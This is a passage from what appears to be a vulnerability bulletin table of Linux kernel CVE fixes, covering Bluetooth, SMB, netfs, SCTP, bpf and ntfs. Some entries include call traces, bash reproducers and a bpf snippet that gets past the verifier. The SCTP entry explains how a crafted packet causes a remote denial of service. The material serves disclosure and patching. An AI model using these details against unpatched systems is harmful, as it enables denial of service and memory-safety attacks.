&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_core: Fix race condition during device registration In hci_register_dev(), the power_on work item is queued to hdev-&amp;gt;req_workqueue before initializing hdev-&amp;gt;adv_monitors_idr and registering the MSFT extension via msft_register(). For devices marked with quirks such as HCI_QUIRK_RAW_DEVICE, the HCI_UNCONFIGURED flag is set on the device. When the power_on work item runs concurrently on another CPU, hci_power_on() detects that the device is unconfigured and immediately invokes hci_dev_do_close(), which calls msft_do_close(). Concurrently, msft_register() allocates the msft structure and exposes it to hdev-&amp;gt;msft_data prior to calling mutex_init(&amp;amp;msft-&amp;gt;filter_lock). If msft_do_close() executes while hdev-&amp;gt;msft_data is already assigned but the mutex has not yet been initialized, mutex_lock(&amp;amp;msft-&amp;gt;filter_lock) operates on an uninitialized mutex, triggering a DEBUG_LOCKS warning: DEBUG_LOCKS_WARN_ON(lock-&amp;gt;magic != lock) WARNING: kernel/locking/mutex.c:625 at __mutex_lock_common kernel/locking/mutex.c:625 [inline] WARNING: kernel/locking/mutex.c:625 at __mutex_lock+0x12d8/0x1550 kernel/locking/mutex.c:821 ... Call Trace: &amp;lt;TASK&amp;gt; msft_do_close+0x308/0x7b0 net/bluetooth/msft.c:693 hci_dev_close_sync+0x86b/0x10a0 net/bluetooth/hci_sync.c:5522 hci_dev_do_close net/bluetooth/hci_core.c:499 [inline] hci_power_on+0x32c/0x750 net/bluetooth/hci_core.c:937 process_one_work kernel/workqueue.c:3322 [inline] process_scheduled_works+0xa8e/0x14e0 kernel/workqueue.c:3405 worker_thread+0x92d/0xe10 kernel/workqueue.c:3486 kthread+0x388/0x470 kernel/kthread.c:436 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 &amp;lt;/TASK&amp;gt; Fix this by moving the queue_work() call in hci_register_dev() to after idr_init(&amp;amp;hdev-&amp;gt;adv_monitors_idr) and msft_register(hdev) so that device structures and extensions are fully initialized before asynchronous tasks can access them. Additionally, assign hdev-&amp;gt;msft_data in msft_register() only after mutex_init(&amp;amp;msft-&amp;gt;filter_lock) has completed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98109&quot; target=&quot;_blank&quot;&gt;CVE-2026-98109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btintel: bound firmware ID by TLV length The firmware ID is treated as a NUL-terminated string even though the TLV length is its only boundary. If the value does not contain a NUL terminator, snprintf() can read beyond the received response. Limit the conversion to the advertised TLV value length.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98110&quot; target=&quot;_blank&quot;&gt;CVE-2026-98110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btintel: validate version TLV value lengths btintel_parse_version_tlv() verifies that a complete TLV is present in the response, but it does not ensure that the value is long enough for the specific TLV type. A short value can therefore cause an out-of-bounds read through get_unaligned_le16(), get_unaligned_le32(), or memcpy(). Reject values shorter than the minimum required by each known TLV type. Also reject responses that do not contain the Command Complete Status field.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98111&quot; target=&quot;_blank&quot;&gt;CVE-2026-98111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: rate limit unmapped SID errors A client can include many structurally valid but unmapped SIDs in a DACL. Logging every mapping failure lets one request generate hundreds of kernel error messages. Rate limit the message to prevent an authenticated client from flooding the kernel log.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98113&quot; target=&quot;_blank&quot;&gt;CVE-2026-98113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: propagate DACL parsing errors parse_dacl() silently accepts truncated ACEs and allocation failures, allowing set_info_sec() to continue with an incomplete ACL conversion. Return parsing and allocation errors to parse_sec_desc() so malformed security descriptors are rejected before inode attributes or ACL xattrs are updated.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98114&quot; target=&quot;_blank&quot;&gt;CVE-2026-98114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cachefiles: Fix potential UAF/KASAN warning Currently, trace_cachefiles_coherency() is being passed a pointer to a __be64 lain over the coherency data in struct cachefiles_xattr so that it can display the first 8 bytes. However, the data is of variable length and could even be 0 bytes. This could lead to a UAF or KASAN warning. Fix this by making sure the buffer has room for at least 8 bytes and that those 8 bytes are pre-cleared. Further, those bytes are not 8-byte aligned, so fix the tracepoint to extract the data as four 2-byte words (they are 2-byte aligned) and reassemble the __be64. The compiler will convert this into a single 8-byte load where the CPU supports it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98117&quot; target=&quot;_blank&quot;&gt;CVE-2026-98117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfs: Fix readahead synchronisation issues by loading all folios upfront There are some synchronisation issues that derive from the app thread adding more folios to the rolling buffer whilst the collector thread is looking at them or trying to clear them, such as determining the setting of front_folio_order when the next folio hasn&#039;t been added yet, The reason for the rolling buffer approach is that loading the buffer upfront and then dropping all the refs just acquired is quite a slow operation, and loading progressively allows some of the cost to be deferred until after at least some of the I/O is started. Instead, a better way is to load all the folios into the rolling buffer upfront - and then drop the refs later, once the I/O is in progress. (Even better would be for the refs not to be there at all.) Fix this by changing the rolling buffer loader to load all the folios selected by the VM for readahead upfront into the folio queue. The folio queue is allocated a batch worth at a time as we don&#039;t know how many folios are involved (the readahead_control struct, alas, has a page count, not a folio count). The folio refs acquired from readahead are then dropped in bulk once the first subrequest is dispatched as it&#039;s quite a slow operation. The collector waits for NETFS_RREQ_NEED_PUT_RA_REFS to be cleared so that it doesn&#039;t unlock folios before the xarray has been scanned for them. This simplifies the buffer handling later and isn&#039;t noticeably slower as the xarray doesn&#039;t need to be modified and the folios are all already pre-locked.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98118&quot; target=&quot;_blank&quot;&gt;CVE-2026-98118&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfs: break unbuffered write when netfs_alloc_subrequest() fails syzbot reported a null-ptr-deref below [1] following a fault injection in netfs_alloc_subrequest(). [0] When netfs_alloc_subrequest() fails, subreq is NULL. Later, netfs_prepare_write() tries to initialize members of subreq(e.g., source), the issue in [1] is triggered. Let&#039;s handle the error of netfs_prepare_write() properly. [0] FAULT_INJECTION: forcing a failure. name failslab, interval 1, probability 0, space 0, times 0 Call Trace: netfs_alloc_subrequest+0x116/0x3f0 netfs_prepare_write+0x76/0x7b0 netfs_unbuffered_write+0x75c/0x2020 netfs_unbuffered_write_iter_locked+0x7d6/0xa80 netfs_unbuffered_write_iter+0x442/0x720 v9fs_file_write_iter+0xbf/0x100 vfs_write+0x6ac/0x1050 [1] KASAN: null-ptr-deref in range [0x00000000000000a8-0x00000000000000af] RIP: 0010:netfs_prepare_write+0xbc/0x7b0 fs/netfs/write_issue.c:173 Call Trace: netfs_unbuffered_write+0x75c/0x2020 fs/netfs/direct_write.c:111 netfs_unbuffered_write_iter_locked+0x7d6/0xa80 fs/netfs/direct_write.c:290 netfs_unbuffered_write_iter+0x442/0x720 fs/netfs/direct_write.c:382 v9fs_file_write_iter+0xbf/0x100 fs/9p/vfs_file.c:409 new_sync_write fs/read_write.c:595 [inline]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98119&quot; target=&quot;_blank&quot;&gt;CVE-2026-98119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfs: Fix subreq ref leak Fix a subrequest ref leak in netfs_unbuffered_write() in the event that subreq-&amp;gt;io_iter ends up zero length during preparation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98120&quot; target=&quot;_blank&quot;&gt;CVE-2026-98120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: watchdog: msc313e: Fix NULL pointer dereference in PM callbacks msc313e_wdt_probe() doesn&#039;t set the driver data for the platform device. As a result, dev_get_drvdata() in msc313e_wdt_suspend() and msc313e_wdt_resume() will return NULL, leading to a NULL pointer dereference afterward. Set the platform device driver data in msc313e_wdt_probe().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98121&quot; target=&quot;_blank&quot;&gt;CVE-2026-98121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration sctp_verify_asconf() walks ASCONF-ACK parameters with sctp_walk_params(), which advances by SCTP_PAD4(length), while the consumer sctp_get_asconf_response() iterates the same parameters advancing by the raw length, without padding. A single odd-length parameter desynchronises the two walks and makes the consumer interpret attacker-controlled bytes at a misaligned offset. When those bytes yield a length of zero, the while loop over asconf_ack_len makes no progress, spinning forever in softirq context, and the watchdog reports a soft lockup. All reads stay within the received skb, so the lockup is a pure remote denial of service. A remote peer can trigger it with a crafted ASCONF-ACK on an ADD-IP enabled association with an outstanding ASCONF (RFC 5061 section 4.1.2 requires the chunk to be authenticated, but the predefined empty key id 0 allows the peer to compute the same association HMAC from publicly exchanged parameters, so the gate does not help). The SCTP_PARAM_ERR_CAUSE case of sctp_verify_asconf() also performs no length check, letting a parameter without a complete error header reach the consumer, which reads errhdr.cause past the end of the parameter, an out-of-bounds read. Reject SCTP_PARAM_ERR_CAUSE parameters shorter than sizeof(struct sctp_addip_param) + sizeof(struct sctp_errhdr) at the verifier, and advance the consumer iterator with the same padding rule as the verifier to keep the two walks in lockstep. The verifier change guarantees a complete error header in every ERR_CAUSE parameter the consumer can see, so the consumer&#039;s asconf_ack_len check is dropped and it returns err_param-&amp;gt;cause directly. The consumer padding fix is still required because odd lengths remain valid for SCTP_PARAM_ERR_CAUSE per RFC 5061. The issue was found by ZeroHive, a vulnerability hunting agent at Tencent Yunding Lab.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98123&quot; target=&quot;_blank&quot;&gt;CVE-2026-98123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/client: invalidate fscache for fallocate range operations smb3_zero_range(), smb3_punch_hole(), smb3_insert_range(), and smb3_collapse_range() modify file contents through server-side range operations. These operations discard the affected page cache, but leave the FS-Cache cookie valid, so a later read may return data cached before the range operation. Fix this by invalidating FS-Cache after outstanding I/O has completed and before modifying the file on the server. Run the following as root on a CIFS mount with fsc enabled and an active CacheFiles backend: bash -c &#039; MNT=/mnt/cifs FILE=&quot;$MNT/repro&quot; # Generate four 1 MiB random blocks: [A][B][C][D]. dd if=/dev/urandom of=/tmp/src bs=1M count=4 status=none # Expected contents after zeroing B: [A][zero][C][D]. cp /tmp/src /tmp/expected dd if=/dev/zero of=/tmp/expected bs=1M seek=1 count=1 \ conv=notrunc status=none cp /tmp/src &quot;$FILE&quot; # Populate FS-Cache, then discard the page cache. sync echo 1 &amp;gt; /proc/sys/vm/drop_caches cat &quot;$FILE&quot; &amp;gt; /dev/null sync echo 1 &amp;gt; /proc/sys/vm/drop_caches fallocate --zero-range -o 1M -l 1M &quot;$FILE&quot; if cmp -s /tmp/expected &quot;$FILE&quot;; then echo &quot;readback: OK&quot; else echo &quot;readback: STALE DATA&quot; fi &#039; Before this change, the readback differs from /tmp/expected: readback: STALE DATA After this change, it matches: readback: OK&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98124&quot; target=&quot;_blank&quot;&gt;CVE-2026-98124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/client: fix stale page cache in insert/collapse range smb3_insert_range() and smb3_collapse_range() use truncate_pagecache_range() to invalidate the affected page cache. However, if off or old_eof is not page-aligned, the boundary pages are only partially zeroed and remain uptodate. As a result, the client may return stale data after a successful insert/collapse range operation. For example, with 4K pages: page 0 page 1 page 2 0------4K 4K------8K 8K------12K ^ ^ off=2K old_eof=10K Page 1 is removed from the page cache, while the boundary pages are only partially zeroed. After COPYCHUNK moves the data on the server, these cached pages may still return stale data. This can be reproduced on a CIFS mount: bash -c &#039; FILE=/mnt/scratch/repro # Use a 6 KiB file so EOF is not page-aligned. dd if=/dev/urandom of=/tmp/src bs=1K count=6 status=none # Expected: a 4 KiB hole followed by the original data. rm -f /tmp/expected truncate -s 4K /tmp/expected cat /tmp/src &amp;gt;&amp;gt; /tmp/expected cp /tmp/src &quot;$FILE&quot; # Prime the page cache before moving data on the server. cat &quot;$FILE&quot; &amp;gt; /dev/null fallocate --insert-range -o 0 -l 4K &quot;$FILE&quot; if cmp -s /tmp/expected &quot;$FILE&quot;; then echo &quot;readback: OK&quot; else echo &quot;readback: STALE DATA&quot; fi &#039; Fix this by writing back dirty data and discarding the page cache from the start of the page containing off to EOF before moving data on the server.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98125&quot; target=&quot;_blank&quot;&gt;CVE-2026-98125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/client: validate new EOF for zero range When FALLOC_FL_ZERO_RANGE is used without FALLOC_FL_KEEP_SIZE, smb3_zero_range() may extend EOF without checking RLIMIT_FSIZE, allowing the file to grow beyond the caller&#039;s file-size limit. Fix this by calling inode_newsize_ok() before sending the zero-range request when the operation would extend EOF. Reproducer, using a file on a CIFS mount: bash -c &#039; FILE=/mnt/cifs/repro trap &quot;&quot; SIGXFSZ ulimit -f 3072 truncate -s 2M &quot;$FILE&quot; fallocate --zero-range -o 0 -l 4M &quot;$FILE&quot; echo &quot;fallocate rc=$?&quot; stat -c &quot;file size=%s&quot; &quot;$FILE&quot; &#039; Before this change, the operation succeeds despite the 3 MiB limit: fallocate rc=0 file size=4194304 After this change, fallocate fails and leaves the file at 2 MiB.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98126&quot; target=&quot;_blank&quot;&gt;CVE-2026-98126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/client: validate new EOF for insert range smb3_insert_range() does not check if the new file size (i_size + len) is valid. This allows FALLOC_FL_INSERT_RANGE to bypass RLIMIT_FSIZE, exceed s_maxbytes, or produce a size outside the loff_t range. Use check_add_overflow() to calculate the new EOF. Validate it with inode_newsize_ok() before modifying the file. Reproducer, using a file on a CIFS mount: bash -c &#039; FILE=/mnt/cifs/repro trap &quot;&quot; SIGXFSZ ulimit -f 3072 # RLIMIT_FSIZE = 3 MiB # A regular write is stopped at 3 MiB. dd if=/dev/zero of=&quot;$FILE&quot; bs=1M count=4 status=none stat -c &quot;size after write: %s&quot; &quot;$FILE&quot; # Insert 2 MiB into a 2 MiB file. truncate -s 2M &quot;$FILE&quot; fallocate -i -o 0 -l 2M &quot;$FILE&quot; stat -c &quot;size after insert: %s&quot; &quot;$FILE&quot; &#039; Before this change, the regular write stops at the 3 MiB limit, but insert range grows the file to 4 MiB: dd: error writing &#039;/mnt/cifs/repro&#039;: File too large size after write: 3145728 size after insert: 4194304 After this change, insert range also fails at the limit and leaves the 2 MiB file unchanged: dd: error writing &#039;/mnt/cifs/repro&#039;: File too large size after write: 3145728 fallocate: fallocate failed: File too large size after insert: 2097152&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98127&quot; target=&quot;_blank&quot;&gt;CVE-2026-98127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: mpi3mr: Fix target device refcount leak in mpi3mr_sas_port_add() mpi3mr_get_tgtdev_by_addr() increments the target device kref when it returns a device. If a subsequent error triggers a goto out_fail after the tgtdev reference is acquired, the reference is never released because the out_fail path does not call mpi3mr_tgtdev_put(). This prevents the target device structure from ever being freed. Add a tgtdev put in the out_fail path, guarded by a NULL check since tgtdev is only acquired for SAS_END_DEVICE types and the same cleanup path is shared by earlier error cases where tgtdev is still NULL.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98128&quot; target=&quot;_blank&quot;&gt;CVE-2026-98128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: mpi3mr: Fix NULL pointer dereference in mpi3mr_sas_port_add() sas_port_alloc_num() can return NULL on memory allocation failure. The return value is passed directly to sas_port_add() without a NULL check, which causes a NULL pointer dereference. Additionally, if sas_port_add() fails, the allocated port is not freed before jumping to out_fail, leaking the sas_port structure. Call sas_port_free() to properly release it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98129&quot; target=&quot;_blank&quot;&gt;CVE-2026-98129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix dma mapping leak in stmmac_tso_xmit() In stmmac_tso_xmit(), if the DMA mapping of an skb fragment fails, the frame is dropped but the DMA mappings already created for the linear part and for the fragments mapped before the failure are never unmapped, leaking DMA mappings. Fix the leak by walking back over the descriptors used by the frame and releasing each of them with stmmac_free_tx_buffer(). Moreover, release the descriptors with stmmac_release_tx_desc() unmapping the DMA buffers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98131&quot; target=&quot;_blank&quot;&gt;CVE-2026-98131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: don&#039;t downgrade half-dead scalar zero spills to STACK_ZERO states.c:__clean_func_state() can downgrade scalar zero spill to STACK_ZERO in the following case: *(u64 *)(r10 - 8) = 0; ... checkpoint ... r1 = *(u32 *)(r10 - 4); ... no reads from r10-8 ... Here 4 bytes at r10-8 are dead and verifier changes scalar spill to a combination: 0000pppp (p stands for poison). Such a change breaks precision propagation chains. All places that produce STACK_ZERO should call bpf_mark_chain_precision() for the zero source. This patch fixes the bug in a simplest way possible: avoids converting stack spills of zero to STACK_ZERO. Two smarter approaches are possible: - do bpf_mark_chain_precision() from __clean_func_state() - check slot liveness information in check_stack_write_fixed_off() I investigated both and the changes required are a bit tricky, hence go with a simple fix for the time being.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98132&quot; target=&quot;_blank&quot;&gt;CVE-2026-98132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: leave HasEA flag untouched on setxattr failure In ntfs_set_ea(), the exit path unconditionally updates the HasEA flag based on ea_info_qsize. When an error occurs before ea_info_qsize is updated, NInoClearHasEA() hides existing on-disk EAs until the inode is evicted. Only update the flag on success.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98133&quot; target=&quot;_blank&quot;&gt;CVE-2026-98133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: check_cond_jmp_op(): properly infer if register is null Nicholas Carlini reported a bug when verifier can incorrectly infer that a pointer is non-null. The bug occurs when two pointers are compared and one of them has a type w/o PTR_MAYBE_NULL flag, but which allows a value to be NULL at runtime. Here is an example: // `a` is PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED // `a` is 0 at runtime. // `b` is PTR_TO_MAP_VALUE | PTR_MAYBE_NULL void *a = bpf_rdonly_cast(0, 0); int *b = bpf_map_lookup_elem(...); if (a == b) *b = 42; // verifier does not catch null pointer dereference This happens because of a special case in check_cond_jmp_op(), which attempts to strip PTR_MAYBE_NULL flags from pointer types, when processing comparisons like `rA == rB`, if either rA or rB can&#039;t be null. The non-null property is derived based on the absence of PTR_MAYBE_NULL flag on rA&#039;s or rB&#039;s type. But that is not sufficient for types like PTR_TO_MEM, as in the example. This patch replaces type_may_be_null() call with reg_not_null(), which contains an allowlist of types for which absence of PTR_MAYBE_NULL actually means that the value can&#039;t be NULL at runtime. At the moment, the list in the reg_not_null() omits two types for which PTR_MAYBE_NULL is applicable: PTR_TO_XDP_SOCK and PTR_TO_BUF. In order to remain backward compatible, and assuming that only comparison between pointers of the same type makes sense, this commit extends reg_not_null(). W/o such an extension e.g. verifier_jeq_infer_not_null/null_ptr_to_map_value fails. reg_not_null() can be extended further, but I deem that out of scope for the fix at hand. Explicit base_type(...) != PTR_TO_BTF_ID checks in the check_cond_jmp_op() can be removed with migration to reg_not_null(), but that is a behavioural change, as the special case would start matching for PTR_TO_BTF_ID that is also is_trusted_reg(). I omit the behavioural change from this commit.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98134&quot; target=&quot;_blank&quot;&gt;CVE-2026-98134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: reject invalid sectors_per_cluster in the boot sector is_boot_sector_ntfs() checks the boot sector&#039;s sectors_per_cluster field with a range test that rejects 0x81..0xf3 but accepts 0 and other non-power-of-two counts. A zero value reaches parse_ntfs_boot_sector(): sectors_per_cluster_bits = ffs(sectors_per_cluster) - 1; ... vol-&amp;gt;cluster_size = vol-&amp;gt;sector_size &amp;lt;&amp;lt; sectors_per_cluster_bits; ffs(0) is 0, so sectors_per_cluster_bits becomes (unsigned)-1 and the shift is undefined: UBSAN: shift-out-of-bounds in fs/ntfs/super.c:673:39 shift exponent 4294967295 is too large for 32-bit type &#039;int&#039; This change rejects any non-power-of-two value, since it feeds the aforementioned shift via ffs() - 1, which only yields the correct shift for a power of two.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98135&quot; target=&quot;_blank&quot;&gt;CVE-2026-98135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: bound $AttrDef table walk to the loaded table size ntfs_attr_find_in_attrdef() walks the in-memory $AttrDef table, but the loop condition bounds only the start of each entry, not the whole entry: for (ad = vol-&amp;gt;attrdef; (u8 *)ad - (u8 *)vol-&amp;gt;attrdef &amp;lt; vol-&amp;gt;attrdef_size &amp;amp;&amp;amp; ad-&amp;gt;type; ++ad) struct attr_def is 160 bytes; the guard reads ad-&amp;gt;type at offset 128 and the loop body reads further fields. vol-&amp;gt;attrdef is kvzalloc(i_size), where i_size is the on-disk $AttrDef data size, checked in load_and_init_attrdef() only as 0 &amp;lt; i_size &amp;lt;= 0x7fffffff. A volume whose $AttrDef data size is smaller than one entry (e.g. 120 bytes) makes the read of ad-&amp;gt;type run past the allocation. Creating a file reaches this through ntfs_attr_size_bounds_check() and reads out of bounds: BUG: KASAN: slab-out-of-bounds in ntfs_attr_find_in_attrdef+0x66/0xa0 Read of size 4 at addr ffff888005833280 by task init/1 ntfs_attr_find_in_attrdef ntfs_attr_size_bounds_check ntfs_attr_can_be_non_resident ntfs_attr_add Require the whole entry to lie within attrdef_size in the loop guard, and reject at mount a $AttrDef too small to hold one attr_def entry.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98136&quot; target=&quot;_blank&quot;&gt;CVE-2026-98136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
